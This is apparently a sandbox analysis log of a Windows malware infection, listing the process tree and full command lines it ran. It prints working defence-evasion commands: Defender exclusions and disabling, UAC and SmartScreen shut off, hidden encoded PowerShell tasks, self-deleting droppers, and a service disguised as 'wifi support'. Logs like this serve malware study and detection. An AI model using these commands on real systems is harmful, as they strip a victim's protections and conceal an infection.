C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\otlZYwPmfIE" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\otlZYwPmfIE" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\achrhaRRbsGknaVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\achrhaRRbsGknaVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ptSbhgFrGptQLEdh /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ptSbhgFrGptQLEdh /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gQTsjvOVK" /SC once /ST 06:27:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gQTsjvOVK"2⤵
-
C:\Users\Admin\AppData\Local\Temp\76FA.tmp.exeC:\Users\Admin\AppData\Local\Temp\76FA.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\76FA.tmp.exe"C:\Users\Admin\AppData\Local\Temp\76FA.tmp.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventOverride' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeShutdownErrs' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'AllOrNone' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeMicrosoftApps' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeWindowsApps' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Scan_ScheduleDay' -Value 8; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideScan_ScheduleTime' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableEnhancedNotifications' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableGenericRePorts' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideSpynetReporting' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SpynetReporting' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'SubmitSamplesConsent' -Value 2; $key='HKLM:\software\microsoft\Security Center';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AntiVirusDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'FirewallDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UpdatesDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UacDisableNotify' -Value 1; $key='HKLM:\software\Policies\Microsoft\MRT';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DontReportInfectionInformation' -Value 1; $key='HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose};New-ItemProperty -Path $key -Name 'DisableWindowsUpdateAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'SetDisableUXWUAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'DoNotConnectToWindowsUpdateInternetLocations' -Value 1 -Force -Verbose;New-ItemProperty -Path $key -Name 'DisableOSUpgrade' -Value 1 -Force -Verbose; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoAutoUpdate' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableFeaturedSoftware' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowFastServiceStartup' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ServiceKeepAlive' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PUAProtection' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MpEnablePus' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRealtimeMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBehaviorMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableIOAVProtection' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableOnAccessProtection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRawWriteNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableScanOnRealtimeEnable' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\System';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSmartScreen' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Features';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TamperProtection' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ProductStatus' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ManagedDefenderProductType' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRoutinelyTakingAction' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'OneTimeSqmDataSent' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ScanParameters' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ScheduleDay' -Value 8; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TaskbarNoNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HideSCAHealth' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SmartScreenEnabled' -Type String -Value 'Off'; Set-ItemProperty 'HKLM:\software\microsoft\windows\currentversion\Explorer' -Force 'DisableNotificationCenter' -Value 1; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue;3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\AppHost';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableWebContentEvaluation' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowTelemetry' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DoNotShowFeedbackNotifications' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Personalization\Settings';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AcceptedPrivacyPolicy' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\AutoLogger-Diagtrack-Listener';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Input\TIPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Microsoft\Internet Explorer\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV8' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\policies\system';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableLUA' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorAdmin' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PromptOnSecureDesktop' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableInstallerDetection' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorUser' -Value 3; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSecureUIAPaths' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ValidateAdminCodeSignatures' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableVirtualization' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUIADesktopToggle' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'FilterAdministratorToken' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\SQMLogger';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppCompat';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AITEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableUAR' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\InputPersonalization';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitInkCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitTextCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HarvestContacts' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\TabletPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingDataSharing' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\HandwritingErrorReports';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingErrorReports' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\SQMClient\Windows';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'CEIPEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'CorporateSQMURL' -Value '0.0.0.0';3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\Office\16.0\osm';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enablelogging' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUpload' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Siuf\Rules';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NumberOfSIUFInPeriod' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PeriodInNanoSeconds' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoExplicitFeedback' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\MediaPlayer\Preferences';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'UsageTracking' -Value 0;3⤵
-
C:\Users\Admin\AppData\Local\Temp\7DB1.exeC:\Users\Admin\AppData\Local\Temp\7DB1.exe1⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\cd3ee7f0-10a0-44af-ab92-b84fbc1a2af2" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\7DB1.exe"C:\Users\Admin\AppData\Local\Temp\7DB1.exe" --Admin IsNotAutoStart IsNotTask2⤵
-
C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\updatewin.exe"C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\updatewin.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\updatewin.exe4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\5.exe"C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\5.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\7734955b-1003-4d2a-bf9a-b637e480434d\5.exe" & del C:\ProgramData\*.dll & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 5.exe /f5⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\818B.tmp.exeC:\Users\Admin\AppData\Local\Temp\818B.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B454.tmp.exeC:\Users\Admin\AppData\Local\Temp\B454.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B81D.exeC:\Users\Admin\AppData\Local\Temp\B81D.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im B81D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B81D.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im B81D.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\C1B4.tmp.exeC:\Users\Admin\AppData\Local\Temp\C1B4.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C975.tmp.exeC:\Users\Admin\AppData\Local\Temp\C975.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\CF04.tmp.exeC:\Users\Admin\AppData\Local\Temp\CF04.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D84C.tmp.exeC:\Users\Admin\AppData\Local\Temp\D84C.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DCE1.tmp.exeC:\Users\Admin\AppData\Local\Temp\DCE1.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E464.tmp.exeC:\Users\Admin\AppData\Local\Temp\E464.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E464.tmp.exe"C:\Users\Admin\AppData\Local\Temp\E464.tmp.exe"2⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\F136.exeC:\Users\Admin\AppData\Local\Temp\F136.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aigykcyt\2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wblgamjl.exe" C:\Windows\SysWOW64\aigykcyt\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create aigykcyt binPath= "C:\Windows\SysWOW64\aigykcyt\wblgamjl.exe /d\"C:\Users\Admin\AppData\Local\Temp\F136.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description aigykcyt "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start aigykcyt2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\aigykcyt\wblgamjl.exeC:\Windows\SysWOW64\aigykcyt\wblgamjl.exe /d"C:\Users\Admin\AppData\Local\Temp\F136.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
-
C:\Windows\system32\wlrmdr.exe-s -1 -f 2 -t You're about to be signed out -m Windows will shut down in less than a minute. -a 31⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3aff855 /state1:0x41c64e6d1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
